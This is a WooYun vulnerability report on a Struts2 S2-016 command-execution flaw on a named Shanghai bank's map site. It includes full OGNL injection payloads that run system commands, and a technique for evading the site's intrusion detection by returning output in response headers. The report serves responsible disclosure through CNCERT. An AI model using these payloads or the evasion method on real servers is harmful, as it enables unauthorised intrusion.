当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0106471

漏洞标题:绕过ids上海农商银行某站命令执行漏洞

相关厂商:上海农商银行

漏洞作者: cleanmgr

提交时间:2015-04-07 22:08

修复时间:2015-05-25 18:44

公开时间:2015-05-25 18:44

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-07: 细节已通知厂商并且等待厂商处理中
2015-04-10: 厂商已经确认,细节仅向厂商公开
2015-04-20: 细节向核心白帽子及相关领域专家公开
2015-04-30: 细节向普通白帽子公开
2015-05-10: 细节向实习白帽子公开
2015-05-25: 细节向公众公开

简要描述:

上海农商银行某站命令执行漏洞

详细说明:

使用神器发现站点:http://map.srcb.com:8055/srcbGisPort/district/districtJson.do
存在st2-016漏洞。
但是使用常见的k8等工具:

18.png


19.png


均提示“检测到入侵”,应该在互联网出口部署IPS/IDP等设备,无法验证该漏洞存在,通过抓包发现上述工具均使用下面的exp:

redirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()}


那么肿么办呢?
通过对神器进行抓包,发现神器使用两种exp进行测试,以whoami为例:
第一种包:

redirect:xxxxxx%24{%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d(new+java.lang.ProcessBuilder(new+java.lang.String[]{%23req.getParameter(%22c0%22)})).start().getInputStream(),%23c%3dnew+java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23resp%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23w%3d%23resp.getWriter(),%23w.println("12"%2b"1314:"),%23w.println(%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()),%23w.flush(),%23w.close(),%23c.close(),%23b.close()}&c0=whoami


第二种包:

redirect:xxxxxx%24{%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d(new+java.lang.ProcessBuilder(new+java.lang.String[]{%23req.getParameter(%22c0%22)})).start().getInputStream(),%23c%3dnew+java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23resp%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23resp.addHeader(121314,%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()%2b555%2b%23d.readLine()),%23c.close(),%23b.close()}&c0=whomai


但是发现第一种数据包也无法回显,依旧提示检测到入侵:

17.png


但是第二种包能够在包头回显数据:

20.png


21.png


22.png


23.png


25.png


对比两个代码,发现第二种代码通过

addHeader

将回显放在包头中:

26.png


从而说明该IDP或IPS不对发送到服务器的数据包(包头、包体)进行特征码检测,而是只针对应答包的包体进行特征码检测,不对包头进行检测。

漏洞证明:

见上

修复方案:

升级,优化IDP或IPS的配置。

版权声明:转载请注明来源 cleanmgr@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-04-10 18:43

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给上海分中心,由上海分中心后续协调网站管理单位处置。

最新状态:

暂无